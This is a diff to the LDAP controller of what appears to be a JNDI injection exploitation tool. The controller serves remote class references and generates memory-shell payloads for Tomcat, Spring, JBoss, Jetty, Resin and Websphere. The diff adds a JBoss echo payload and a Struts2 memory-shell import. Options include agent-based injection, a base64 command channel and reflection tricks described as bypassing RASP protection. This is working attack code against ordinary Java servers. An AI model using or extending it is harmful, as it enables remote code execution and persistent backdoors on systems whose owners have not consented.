1212import com .nu1r .jndi .template .Websphere .WebsphereMemshellTemplate ;
1313import com .nu1r .jndi .template .jboss .JBFMSFromContextF ;
1414import com .nu1r .jndi .template .jboss .JBSMSFromContextS ;
15+ import com .nu1r .jndi .template .jboss .JbossEcho ;
1516import com .nu1r .jndi .template .jetty .JFMSFromJMXF ;
1617import com .nu1r .jndi .template .jetty .JSMSFromJMXS ;
1718import com .nu1r .jndi .template .resin .RFMSFromThreadF ;
1819import com .nu1r .jndi .template .resin .RSMSFromThreadS ;
1920import com .nu1r .jndi .template .spring .SpringControllerMS ;
2021import com .nu1r .jndi .template .spring .SpringInterceptorMS ;
22+ import com .nu1r .jndi .template .struts2 .Struts2ActionMS ;
2123import com .nu1r .jndi .template .tomcat .*;
2224import com .unboundid .ldap .listener .interceptor .InMemoryInterceptedSearchResult ;
2325import com .unboundid .ldap .sdk .Entry ;
@@ -49,7 +51,7 @@ public class BasicController implements LdapController {
4951 @ Override
5052 public void sendResult (InMemoryInterceptedSearchResult result , String base ) throws Exception {
5153 try {
52- System .out .println (ansi ().render ("@|green [+]|@ @|MAGENTA Sending LDAP ResourceRef result for |@ " + base + " @|MAGENTA with basic remote reference payload|@ " ));
54+ System .out .println (ansi ().render ("@|green [+]|@Sending LDAP ResourceRef result for" + base + " with basic remote reference payload" ));
5355 Entry e = new Entry (base );
5456 String className = "" ;
5557 CtClass ctClass ;
@@ -143,8 +145,8 @@ public void sendResult(InMemoryInterceptedSearchResult result, String base) thro
143145 newClass .makeClassInitializer ().insertBefore (className );
144146
145147 if (IS_INHERIT_ABSTRACT_TRANSLET ) {
146- Class abstTranslet = Class .forName ("org.apache.xalan.xsltc.runtime.AbstractTranslet" );
147- CtClass superClass = pool .get (abstTranslet .getName ());
148+ Class abstTranslet = Class .forName ("org.apache.xalan.xsltc.runtime.AbstractTranslet" );
149+ CtClass superClass = pool .get (abstTranslet .getName ());
148150 newClass .setSuperclass (superClass );
149151 }
150152
@@ -187,8 +189,8 @@ public void sendResult(InMemoryInterceptedSearchResult result, String base) thro
187189 newClass .makeClassInitializer ().insertBefore (className );
188190
189191 if (IS_INHERIT_ABSTRACT_TRANSLET ) {
190- Class abstTranslet = Class .forName ("org.apache.xalan.xsltc.runtime.AbstractTranslet" );
191- CtClass superClass = pool .get (abstTranslet .getName ());
192+ Class abstTranslet = Class .forName ("org.apache.xalan.xsltc.runtime.AbstractTranslet" );
193+ CtClass superClass = pool .get (abstTranslet .getName ());
192194 newClass .setSuperclass (superClass );
193195 }
194196
@@ -198,8 +200,8 @@ public void sendResult(InMemoryInterceptedSearchResult result, String base) thro
198200 }
199201 }
200202 if (IS_INHERIT_ABSTRACT_TRANSLET ) {
201- Class abstTranslet = Class .forName ("org.apache.xalan.xsltc.runtime.AbstractTranslet" );
202- CtClass superClass = pool .get (abstTranslet .getName ());
203+ Class abstTranslet = Class .forName ("org.apache.xalan.xsltc.runtime.AbstractTranslet" );
204+ CtClass superClass = pool .get (abstTranslet .getName ());
203205 ctClass .setSuperclass (superClass );
204206 }
205207 className = ctClass .getName ();
@@ -242,8 +244,8 @@ public void sendResult(InMemoryInterceptedSearchResult result, String base) thro
242244 newClass .makeClassInitializer ().insertBefore (className );
243245
244246 if (IS_INHERIT_ABSTRACT_TRANSLET ) {
245- Class abstTranslet = Class .forName ("org.apache.xalan.xsltc.runtime.AbstractTranslet" );
246- CtClass superClass = pool .get (abstTranslet .getName ());
247+ Class abstTranslet = Class .forName ("org.apache.xalan.xsltc.runtime.AbstractTranslet" );
248+ CtClass superClass = pool .get (abstTranslet .getName ());
247249 newClass .setSuperclass (superClass );
248250 }
249251
@@ -255,10 +257,13 @@ public void sendResult(InMemoryInterceptedSearchResult result, String base) thro
255257 className = ctClass .getName ();
256258 ctClass .writeFile ();
257259 break ;
260+ case jbossecho :
261+ className = JbossEcho .class .getName ();
262+ break ;
258263 }
259264
260265 URL turl = new URL (new URL (this .codebase ), className + ".class" );
261- System .out .println (ansi ().render ("@|green [+]|@ @|MAGENTA Send LDAP reference result for |@ " + base + " @|MAGENTA redirecting to |@ " + turl ));
266+ System .out .println (ansi ().render ("@|green [+]|@ Send LDAP reference result for " + base + " redirecting to" + turl ));
262267 e .addAttribute ("javaClassName" , "foo" );
263268 e .addAttribute ("javaCodeBase" , this .codebase );
264269 e .addAttribute ("objectClass" , "javaNamingReference" ); //$NON-NLS-1$
@@ -276,7 +281,7 @@ public void sendResult(InMemoryInterceptedSearchResult result, String base) thro
276281 }
277282
278283 public static void main (String [] args ) {
279- System .out .println (ansi ().fgRgb (188 ,232 ,105 ).render (" Windows下使用Agent写入" ));
284+ System .out .println (ansi ().fgRgb (188 , 232 , 105 ).render (" Windows下使用Agent写入" ));
280285 }
281286
282287 @ Override
@@ -288,7 +293,7 @@ public void process(String base) throws UnSupportedPayloadTypeException, Incorre
288293
289294 try {
290295 payloadType = PayloadType .valueOf (base .substring (fistIndex + 1 , secondIndex ).toLowerCase ());
291- System .out .println (ansi ().render ("@|green [+]|@ @|MAGENTA PaylaodType >> |@ " + payloadType ));
296+ System .out .println (ansi ().render ("@|green [+]|@PaylaodType >> " + payloadType ));
292297 } catch (IllegalArgumentException e ) {
293298 throw new UnSupportedPayloadTypeException ("UnSupportedPayloadType >> " + base .substring (fistIndex + 1 , secondIndex ));
294299 }
@@ -333,17 +338,17 @@ public void process(String base) throws UnSupportedPayloadTypeException, Incorre
333338
334339 if (cmdLine .hasOption ("winAgent" )) {
335340 winAgent = true ;
336- System .out .println (ansi ().fgRgb (188 ,232 ,105 ).render ("[+] Windows下使用Agent写入" ));
341+ System .out .println (ansi ().fgRgb (188 , 232 , 105 ).render ("[+] Windows下使用Agent写入" ));
337342 }
338343
339344 if (cmdLine .hasOption ("linAgent" )) {
340345 winAgent = true ;
341- System .out .println (ansi ().fgRgb (188 ,232 ,105 ).render ("[+] Linux下使用Agent写入" ));
346+ System .out .println (ansi ().fgRgb (188 , 232 , 105 ).render ("[+] Linux下使用Agent写入" ));
342347 }
343348
344349 if (cmdLine .hasOption ("obscure" )) {
345350 IS_OBSCURE = true ;
346- System .out .println (ansi ().fgRgb (188 ,232 ,105 ).render ("[+] 使用反射绕过RASP" ));
351+ System .out .println (ansi ().fgRgb (188 , 232 , 105 ).render ("[+] 使用反射绕过RASP" ));
347352 }
348353
349354 if (cmdLine .hasOption ("url" )) {
@@ -361,8 +366,8 @@ public void process(String base) throws UnSupportedPayloadTypeException, Incorre
361366 }
362367
363368 if (cmdLine .hasOption ("referer" )) {
364- REFERER = cmdLine .getOptionValue ("referer" );
365- System .out .println ("[+] referer:" + REFERER );
369+ HEADER_KEY = cmdLine .getOptionValue ("referer" );
370+ System .out .println ("[+] referer:" + HEADER_KEY );
366371 }
367372
368373 if (cmdLine .hasOption ("AbstractTranslet" )) {
@@ -381,7 +386,7 @@ public void process(String base) throws UnSupportedPayloadTypeException, Incorre
381386
382387 if (gadgetType == GadgetType .base64 ) {
383388 String cmd = Util .getCmdFromBase (base );
384- System .out .println (ansi ().render ("@|green [+]|@ @|MAGENTA Command >> |@ " + cmd ));
389+ System .out .println (ansi ().render ("@|green [+]|@ Command >> " + cmd ));
385390 params = new String []{cmd };
386391 }
387392 } catch (Exception e ) {
0 commit comments